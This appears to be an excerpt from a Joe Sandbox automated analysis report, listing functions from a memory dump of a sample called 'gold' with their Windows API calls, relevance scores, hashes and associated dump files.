API String ID: 3517950138-1963490786
Opcode ID: 11dbc465189ddf5526e06613019f7706afd7c57c34c725456a6aa0d1bbfa901f
Instruction ID: e4185903b36b198ee2608c246c77655f260c175c12ec252026f054ceb7c8f206
Opcode Fuzzy Hash: 11dbc465189ddf5526e06613019f7706afd7c57c34c725456a6aa0d1bbfa901f
Instruction Fuzzy Hash: 61F01D31A5410DABC700FBE8ED57BADBB34FB10701F400154F605A61D2EF601A55D7A3

Function 0085A59E Relevance: 4.5, APIs: 3, Instructions: 33
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000), ref: 0085A5AA
GetExitCodeThread.KERNEL32(?,?), ref: 0085A5C3
FindCloseChangeNotification.KERNELBASE(?), ref: 0085A5D5

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: ChangeCloseCodeExitFindNotificationObjectSingleThreadWait
String ID:
API String ID: 3816883391-0
Opcode ID: 623ec8edb7f791f81460eb3dea37a3868b34acc89a4fe411f65e5f39a337ce63
Instruction ID: e3ebff07cf2d57be923220ddd664bf39b22e8793b77ab6edc09b3225e8f9ebd5
Opcode Fuzzy Hash: 623ec8edb7f791f81460eb3dea37a3868b34acc89a4fe411f65e5f39a337ce63
Instruction Fuzzy Hash: 71F03A32514118ABDB104F68DC46FA93B64FB017A5B240350FD26EA1E0E730DE85D640

Function 008B8703 Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32(?), ref: 008B8734
FreeLibraryAndExitThread.KERNELBASE(?,?), ref: 008B874A
ExitThread.KERNEL32 ref: 008B8753

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: ExitThread$CloseFreeHandleLibrary
String ID:
API String ID: 2705336791-0
Opcode ID: b29c9c28461248a234fc7ff1d4170392021e9320c671d8dfa1d718e1810e89b2
Instruction ID: 87941d17696a71fd8afc603d18bd40dd85f507a8424253a037e9dbccd69921c7
Opcode Fuzzy Hash: b29c9c28461248a234fc7ff1d4170392021e9320c671d8dfa1d718e1810e89b2
Instruction Fuzzy Hash: 67F08931404604EBCB215B79CC486DB769DFF01368B248A10F929D62E0DF30EC81C755

Function 008B88F4 Relevance: 3.1, APIs: 2, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_00078599,00000000,?,?), ref: 008B893D
GetLastError.KERNEL32 ref: 008B8949

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: CreateErrorLastThread
String ID:
API String ID: 1689873465-0
Opcode ID: 0c568b6fdd4ac4a12e7179fd0149589b62739407907fc27ecabbbdcc88baf232
Instruction ID: a76ccea8a19f35b3febf0c75b36daa5e728af2e2628d477b04e35cb3581faab8
Opcode Fuzzy Hash: 0c568b6fdd4ac4a12e7179fd0149589b62739407907fc27ecabbbdcc88baf232
Instruction Fuzzy Hash: 8001887651420AEFDF15AFA4DC06AEE3BA9FF003A0F100128B901E6260DF30DA50DB92

Function 008B8599 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(0090EC78,0000000C), ref: 008B85AC
ExitThread.KERNEL32 ref: 008B85B3

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: f09b7351690a41dc55f9292bc93bdd9cb029610e7dbad57ee99dcbd7df85a51d
Instruction ID: 864e17816ca2eda3271e714f1afde90a069f3fb07d67c5b6d4501d921e639cc9
Opcode Fuzzy Hash: f09b7351690a41dc55f9292bc93bdd9cb029610e7dbad57ee99dcbd7df85a51d
Instruction Fuzzy Hash: B7F06271944618EFDB24AFB4C80AA6E3B74FF40710F204549F505DB2A2DF755A40DB92

Function 008D36A8 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 008D36BE
GetLastError.KERNEL32 ref: 008D36C9

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: b308a70403ff895c307bd1d71f7a6dced027d9fe51aea187567eca9a7f0e91be
Instruction ID: 88ec31396f0da629217a0461f6aad064cefcddae8e536b9f54272300af7717bc
Opcode Fuzzy Hash: b308a70403ff895c307bd1d71f7a6dced027d9fe51aea187567eca9a7f0e91be
Instruction Fuzzy Hash: 8DE08633118214B7CF112FA9AC097993B58FB407D1F104011FA0CDA270D631D980D78D

Function 008D3E6F Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 392c734fb5bdf0cefcb445a19891ca048ff5efd33d61ba8441a6589f221f6e5d
Instruction ID: 9a39144ff5b4f4f2969742e4fcc610396f517d2a0da527dd360e33a189db3e98
Opcode Fuzzy Hash: 392c734fb5bdf0cefcb445a19891ca048ff5efd33d61ba8441a6589f221f6e5d
Instruction Fuzzy Hash: B40128733242195FAB15CE6DEC4096B3397FBC17647158226F904DB6D8DA31CD009792

Function 00887C25 Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL(E06D7363,00000001,00000003,?), ref: 00887C85

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: a89b16dd2615389f897680530b8aaec9a916b73d3cb0c3e07a7a2828947a48c0
Instruction ID: 1a1e8b8fa48ed40c43625a376077fcb24da0f39729d4c395c00acd8e472ae31a
Opcode Fuzzy Hash: a89b16dd2615389f897680530b8aaec9a916b73d3cb0c3e07a7a2828947a48c0
Instruction Fuzzy Hash: 05018F76904208ABC711AF58D8C0B9EBBB9FF44700F154059E905AB391D770ED00CB90

Function 008D4F4E Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?), ref: 008D4F80

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0dd315875b798f46d4a85e7e50893f45c272484fa9d29737c9ef2858665b6f2c
Instruction ID: 8d4b09a22dcd748731d37e5756e9f9756a02fc99dd5089fe0a33d125074d6b63
Opcode Fuzzy Hash: 0dd315875b798f46d4a85e7e50893f45c272484fa9d29737c9ef2858665b6f2c
Instruction Fuzzy Hash: 05E0A02221862567DB2127A94C01B5A3B8DFB417B0F192313AC44DB2A1DFB4DC0045A2

Non-executed Functions

Function 008E421D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002), ref: 008E42B6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002), ref: 008E42DF
GetACP.KERNEL32 ref: 008E42F4

Strings

ACP, xrefs: 008E423B
OCP, xrefs: 008E4271

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 5d1d87f529955b89842a0ff62f0a2af966769f2711ffded6ea1055a469b6c03c
Instruction ID: dd0a070d0b00f16463fd88cfa0d7ed2facf44b5a7ccd01a59ecd2d6a5c1d0f0c
Opcode Fuzzy Hash: 5d1d87f529955b89842a0ff62f0a2af966769f2711ffded6ea1055a469b6c03c
Instruction Fuzzy Hash: 9E210332A04185ABDB308F5AC800A9773A6FB56B64B569524FB0EDB504E732DD40C350

Function 008E4466 Relevance: 7.7, APIs: 5, Instructions: 183COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32 ref: 008E4572
IsValidCodePage.KERNEL32(00000000), ref: 008E45BB
IsValidLocale.KERNEL32(?,00000001), ref: 008E45CA
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 008E4612
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 008E4631

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: Locale$InfoValid$CodeDefaultPageUser
String ID:
API String ID: 3475089800-0
Opcode ID: 7db1593528a472323c44dc8a8c23b4d2f6ab55bf75ef5a89809e01a8b8f6a4f5
Instruction ID: 10bd192435a2efce3db965c28fe1ca84c58a30790deec08011ee5eb810748c1e
Opcode Fuzzy Hash: 7db1593528a472323c44dc8a8c23b4d2f6ab55bf75ef5a89809e01a8b8f6a4f5
Instruction Fuzzy Hash: F1519271A00249AFDB10DFAADC45ABE77B8FF4A700F145069F919EB190EB70DA44CB61

Function 008E388A Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 377COMMON

Download Yara Rule

APIs

GetACP.KERNEL32 ref: 008E394B
IsValidCodePage.KERNEL32(00000000), ref: 008E3976
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 008E3B57

Strings

utf8, xrefs: 008E3A48

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: CodeInfoLocalePageValid
String ID: utf8
API String ID: 790303815-905460609
Opcode ID: 8f910ccd455e87d2878495fe3136fe0a6811940002fc9d0422814de0bf5006e8
Instruction ID: 9a14502e61046c84172fe29bed2cf5be6dd7b4cf9cfd1f5ef7c2cd549148da16
Opcode Fuzzy Hash: 8f910ccd455e87d2878495fe3136fe0a6811940002fc9d0422814de0bf5006e8
Instruction Fuzzy Hash: 0B71F771600656ABEB24AB3ACC8AB7A77ACFF46710F144039F946D7182E7B0DF808751

Function 008DEAF8 Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,?,00000000,?,00000000), ref: 008DEB93
FindNextFileW.KERNEL32(00000000,?), ref: 008DEC0E
FindClose.KERNEL32(00000000), ref: 008DEC30
FindClose.KERNEL32(00000000), ref: 008DEC53

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 1fcfb26f18a2603fee19e6ef89f7a4b5662500581f701f87cb203c740da62d77
Instruction ID: c0280c608d22758611359aee32ac48c0c027a1eb679c19ba885bd758c30e9f4e
Opcode Fuzzy Hash: 1fcfb26f18a2603fee19e6ef89f7a4b5662500581f701f87cb203c740da62d77
Instruction Fuzzy Hash: CF41C87191451DAFDB20FFA8CC899AAB379FB54355F004297E406EB240EA309E848B50

Function 0088660B Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00886617
IsDebuggerPresent.KERNEL32 ref: 008866E3
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 008866FC
UnhandledExceptionFilter.KERNEL32(?), ref: 00886706

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6f3a2dbff3b86cbe3d2605de272633dbbc00441be6f16821dc7299f00f08db64
Instruction ID: cd6f0c2877453d353cb66a0ec7607d803762ea392ac0c95246a977c453730f9d
Opcode Fuzzy Hash: 6f3a2dbff3b86cbe3d2605de272633dbbc00441be6f16821dc7299f00f08db64
Instruction Fuzzy Hash: 0131F875D0921C9BDB21EFA4D9897CDBBB8FF08301F1041AAE50CAB250EB719B849F45

